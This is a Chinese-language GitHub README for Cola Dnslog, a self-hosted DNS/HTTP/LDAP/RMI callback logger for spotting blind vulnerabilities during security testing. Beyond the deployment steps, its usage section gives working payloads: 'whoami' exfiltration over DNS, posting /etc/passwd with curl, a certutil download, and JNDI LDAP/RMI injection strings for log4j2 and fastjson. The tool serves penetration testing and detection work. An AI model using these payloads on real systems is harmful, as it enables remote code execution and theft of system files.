(Translated by https://www.hiragana.jp/)
GitHub - AbelChe/cola_dnslog: Cola Dnslog v1.3.2 更加强大的dnslog平台/无回显漏洞探测辅助平台 完全开源 dnslog httplog ldaplog rmilog 支持dns http ldap rmi等协议 提供API调用方式便于与其他工具结合 支持钉钉机器人、Bark等提醒 支持docker一键部署 后端完全使用python实现 前端基于vue-element-admin二开
Skip to content

Cola Dnslog v1.3.2 さら强大きょうだいてきdnslog平台ひらだい/无回显漏ほらさがせ测辅助平すけべいだい 完全かんぜん开源 dnslog httplog ldaplog rmilog 支持しじdns http ldap rmiとう协议 提供ていきょうAPI调用方式ほうしき便びん于与其他工具こうぐ结合 支持しじ钉钉つくえじん、Barkとうつつみ支持しじdockerいち键部しょ きさきはし完全かんぜん使用しようpython实现 ぜんはしもと于vue-element-admin

License

Notifications You must be signed in to change notification settings

AbelChe/cola_dnslog

Repository files navigation

sugarless dnslog
英文えいぶん版本はんぽんざい路上ろじょう......

Cola Dnslog

--AbelChe

Cola Dnslog 一款更加强大的dnslog平台ひらだい(无回显漏ほらさがせ测辅助平すけべいだい),
  • 完全かんぜん开源
  • 支持しじdns http ldap rmiとう协议
  • 提供ていきょうAPI调用方式ほうしき便びん于与其他工具こうぐ结合
  • 支持しじ钉钉つくえじん、Barkとうつつみ
  • 支持しじdockerいち键部しょ

わたる及到わざ术、かまち

dns http ldap rmi webui vue-element-admin fastapi sqlite

帮助检测漏ほら

log4j2 fastjson ruoyi Spring RCE Blind SQL Bland XXE

特色とくしょく

Dingtalk Robot Bark API ldaplog rmilog Docker

Stargazers over time

🥯 使用しよう方法ほうほう

かり设你购买てきいきめいexample.com

你的vps ip为1.1.1.1

いきめい

请自ぎょう购买いきめい,并将いきめいてき解析かいせきふく务器たくかんいたり部署ぶしょcola_dnslogてきふく务器

以godaddy为例

  1. 配置はいちいきめい解析かいせき处右上角うえすみさん个点,てん击Host Names

image-20220717175903352

  1. おさむあらためあるしんぞうしゅつくえめい如下图所しめせ,ipはまうつし你的vpsそく

image-20220717180002176

  1. かいいたdns管理かんりはたいきめいふく务器おさむあらためns1.example.comns2.example.com

image-20220717180242944

あんそう部署ぶしょ

いん为一些国内网络众所周知的原因,だい多数たすう同学どうがく使用しよう国内こくないVPS都会とかい卡在ぜんはしnpm构建てき时候,目前もくぜん暂未找到さらこのみてきかい决方あんけん使用しよう国外こくがいあるもの网络畅通てきVPS搭建。

欢迎大家たいかつつみissues!

Docker(推荐)

いち键启动(推荐)
  1. しも载源码
git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog
  1. おさむあらためdocker-compose.ymlちゅうenvironment变量
...
  server:
    ...
    environment:
      DNS_DOMAIN: example.com # 自己じこてきいきめい
      NS1_DOMAIN: ns1.example.com # ns1绑定
      NS2_DOMAIN: ns2.example.com # ns2绑定
      SERVER_IP: 1.1.1.1 # vps ip
      HTTP_PORT: 80 # httplogふく务端こう
      HTTP_RESPONSE_SERVER_VERSION: nginx # httplogかえしかい头的ふく务端しんいきServer: nginx
      LDAP_PORT: 1389 # ldaplogふく务端こう
      RMI_PORT: 1099 # rmilogふく务端こう
    ...
  front:
  	...
    environment:
      API_BASE_URL: 'http://1.1.1.1:28001' # http://vpsip:28001 / http://example.com:28001
    ...
  1. 启动
docker-compose up -d
  1. 启动きさき查看dockerこころざしあるもの查看info.txt获取账号しんいき

serverはしほどじょ运行かいざいほどじょ录创けんいち个info.txtよう于记录初はじめてき账号しんいき

docker-compose logs
docker exec -it <container_id> cat /coladnslog/info.txt

image-20220812005813825

如果需要じゅようてい义端こう,请修あらためdocker-compose.ymlてきはしこううつportsそく

ぜんきさきはしぶん离部しょ

ふく务端:

git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog

docker build -t coladnslog_server -f Dockerfile_server .
docker run -itd \
-e DNS_DOMAIN=example.com \
-e NS1_DOMAIN=ns1.example.com \
-e NS2_DOMAIN=ns2.example.com \
-e SERVER_IP=1.1.1.1 \
-e HTTP_PORT=80 \
-e HTTP_RESPONSE_SERVER_VERSION=nginx \
-e LDAP_PORT=1389 \
-e RMI_PORT=1099 \
--net=host \
--name ColaDnslog_server coladnslog_server

きゃく户端:

git clone https://github.com/Abelche/cola_dnslog.git
cd cola_dnslog

sudo docker build --build-arg VERSION=v1.3.2 -t coladnslog_front -f Dockerfile_front .
sudo docker run -itd \
-p 18080:80 \
-e "API_BASE_URL=http://1.2.3.4:28001" \
--name ColaDnslog_front coladnslog_front

みなもと码安そう

ともぶんよん

第一步だいいっぽ 载源码

しも载源码

git clone https://github.com/Abelche/cola_dnslog.git

わが习惯于将ふく务用tmuxいたきさきだい运行

だい 启动webserver

あんそうpython(python>=3.7)

注意ちゅうい需要じゅようようpython3.7及以じょう版本はんぽんいや则会ゆうけんようせい问题,python推荐使用しようconda

cd cola_dnslog
pip install -r requirements.txt

おさむあらため录下てきconfig.yaml

主要しゅよう需要じゅようおさむあらためDNS_DOMAIN NS1_DOMAIN NS2_DOMAIN SERVER_IP

选: おさむあらためHTTP_RESPONSE_SERVER_VERSION伪造httpかえしかいちゅうServerだん

global:
  DB_FILENAME: sqlite.db

logserver:
  DNS_DOMAIN: example.com
  NS1_DOMAIN: ns1.example.com
  NS2_DOMAIN: ns2.example.com
  SERVER_IP: 1.1.1.1
  DNS_PORT: 53
  HTTP_HOST: 0.0.0.0
  HTTP_PORT: 80
  HTTP_RESPONSE_SERVER_VERSION: nginx
  LDAP_HOST: 0.0.0.0
  LDAP_PORT: 1389
  RMI_HOST: 0.0.0.0
  RMI_PORT: 1099

webserver:
  HOST: 0.0.0.0
  PORT: 28001
  PASSWORD_SALT: ずい便びん一长串字符串,如:cuau89j2iifdas8

启动webserberはしlogserverはし注意ちゅうい这里一定要先启动webserverはしいん为要さきどおり过webserver端初たんしょはじめすうすえ库,はつはじめきさきかいざい终端输出账号、みつ码、token、logidとうしんいき

chmod +x start_webserver
./start_webserver

image-20220730035846090

だいさん 启动logserver(需要じゅようroot权限)
chmod +x start_logserver
sudo ./start_logserver

image-20220730160132103

だいよん 启动ぜんはし

现在らいいたぜんはし一定いっていようwebserverざい一起かずき,你甚いたり以通过electronつつみ成本なりもときゃく户端),さきおさむあらため配置はいちぶんけん.env.production

cd src/front
vim .env.production
# just a flag
ENV = 'production'

# base api
VUE_APP_BASE_API = 'http://1.1.1.1:28001'

TARGET_API = 'http://1.1.1.1:28001'

しかきさきnpmあんそう赖、つつみ、启动httpふく务(这里随意ずいい选择httpふく务器,为了方便ほうべんわが直接ちょくせつようpython启动)

cd src/front
npm install
npm run build:prod

cd dist
python3 -m http.server 18001

いたり此,さんはし(webserverはし、logserverはし、webuiぜんはしやめ经全开启!

这时,访问http://1.1.1.1:18001应该以看いたとう录页めん

玩得开心!

钉钉つくえじん

ざい钉钉ぐん新建しんたけつくえじん安全あんぜん设置:添加てんかてい义关键词coladnslog

image-20220731231424000

并获いたwebhookてきtoken,注意ちゅういただ需要じゅようはまうつしtokenそく

image-20220731231912885

进入webui,おさむあらためDingtalk Robot Token为上ぶん获取てきtoken,てん击Update保存ほぞんそく

image-20220802020311279

效果こうか如下:

image-20220731231301577

Bark

Finb/Bark: Bark is an iOS App which allows you to push custom notifications to your iPhone (github.com)

Finb/bark-server: Backend of Bark (github.com)

同上どうじょう 进入webui,开启Bark开关,しかきさきおさむあらためbark url,てん击Update保存ほぞん

image-20220802015907678

效果こうか如下:

image-20220802015642879

如何いか使用しよう

うえぶんひっさげいた假定かていてきいき名和なわipexample.com1.1.1.1,并且わが们账户的logid为qrq

DNS

nsloopup `whoami`.qrq.example.com
ping `whoami`.qrq.example.com

HTTP

curl 1.1.1.1/qrq/some/info
curl -d @/etc/passwd 1.1.1.1/qrq/postdata
certutil -urlcache -split -f http://1.1.1.1/x x

LDAP

log4j2 fastjsonとう使用しよう此方こちらほう

注意ちゅうい这里必须ようれいさいきさきみちてきさいきさきさく为logid,如:ldapqrq xxxxqrq qrq xxx/qrq

${jndi:ldap://1.1.1.1:1389/ldapqrq}
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://1.1.1.1:1389/ldapqrq", "autoCommit":true}

RMI

同上どうじょう,log4j2 fastjsonとう

${jndi:rmi://1.1.1.1:1099/rmiqrq}
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://1.1.1.1:1099/rmiqrq", "autoCommit":true } }

👀 がい

とう

image-20220730151326711

くび

image-20220731143149729

Dnslog

image-20230204200108337

Httplog

image-20230204200455783

Ldaplog

image-20230204201704004

Rmilog

image-20230204201750497

账号しんいき

image-20220801003540673

钉钉つくえじん

image-20220731231301577

Bark

image-20220802015642879

📔 更新こうしんこころざし

  • 2023-02-03 v1.3.2
    1. おさむあらためだま解析かいせき记录,domain[.]com*[.]domain[.]comてきA记录查询指向しこう127.0.0.1,增加ぞうかmd5(serverip)[.]admin[.]domain[.]comさく为域めい访问てき入口いりくち
    2. おさむ复问题:logserver报错くずしSegmentation fault issues19
    3. おさむあらためだま认的dockerぜんはし部署ぶしょ方式ほうしき(无需よう户编译)
    4. 增加ぞうかしんじょ志功しこうのう
  • 2022-08-12 v1.3.1
    1. おさむ复docker部署ぶしょ方式ほうしきdnsはしこう冲突问题
  • 2022-08-12 v1.3.0
    1. 创建apiぶんhttps://abelche.github.io/cola_dnslog/
    2. 更新こうしんdocker部署ぶしょ方式ほうしき
    3. おさむ部分ぶぶん显示问题
  • 2022-08-09 v1.2.2 v1.2.3
    1. 更新こうしんreadme
    2. おさむ复文件名けんめい拼写错误
  • 2022-08-03 v1.2.1
    1. 更新こうしんreadme
  • 2022-08-02 v1.2.0
    1. 增加ぞうかbarkひさげ醒功のう
    2. おさむあらためlogserverはしhttpてきかえしかい为1x1てきgif格式かくしき图片
    3. 增加ぞうかhttpかえしかいつつみさとServerだんてき伪造こうのう
    4. おさむ复前はしprofile页面开关bug
  • 2022-08-01 v1.1.0
    1. 增加ぞうかおもしん生成せいせいtoken、おさむあらためみつ码功のう
    2. 优化ぜんはし展示てんじ效果こうか,优化渲染速度そくど
    3. 增加ぞうかidはいじょこうのう
    4. くび页Usage部分ぶぶんすえふく务端生成せいせい
    5. 增加ぞうか钉钉つくえじん
    6. おさむ复rmi协议解析かいせきbug
  • 2022-07-30 v1.0.0
    1. cola_dnslog发布 v1.0.0

🎯 ==TODO==

  • 联动钉钉【2022-07-31】
  • 联动bark【2022-08-02】
  • 添加てんかapiぶん档【2022-08-12】
  • 增加ぞうかip属地ぞくちこうのう
  • dockerいち键部しょ【2022-08-12】
  • 其他协议
  • 增加ぞうかmysqlとうすうすえ库的支持しじ

📜 声明せいめい

ほん项目使用しよう Apache License 2.0

🌟 404ほし链计划

Cola Dnslog 现已加入かにゅう 404ほし链计划

💦 其他

🎖 们也出力しゅつりょくりょう


Weik1

🐡

🎉 参考さんこう

☕️ buy me a coffee 3q

师傅们可以加わがwx,一起かずき交流こうりゅう进步RG9nZ3lDaGVuZwo=

给他买杯咖啡,让他接着せっちゃく码! 也可以加ほし球一きゅういちおこり交流こうりゅうめん费)
IMG_4788 xq.jpg

About

Cola Dnslog v1.3.2 さら强大きょうだいてきdnslog平台ひらだい/无回显漏ほらさがせ测辅助平すけべいだい 完全かんぜん开源 dnslog httplog ldaplog rmilog 支持しじdns http ldap rmiとう协议 提供ていきょうAPI调用方式ほうしき便びん于与其他工具こうぐ结合 支持しじ钉钉つくえじん、Barkとうつつみ支持しじdockerいち键部しょ きさきはし完全かんぜん使用しようpython实现 ぜんはしもと于vue-element-admin

Topics

Resources

License

Stars

Watchers

Forks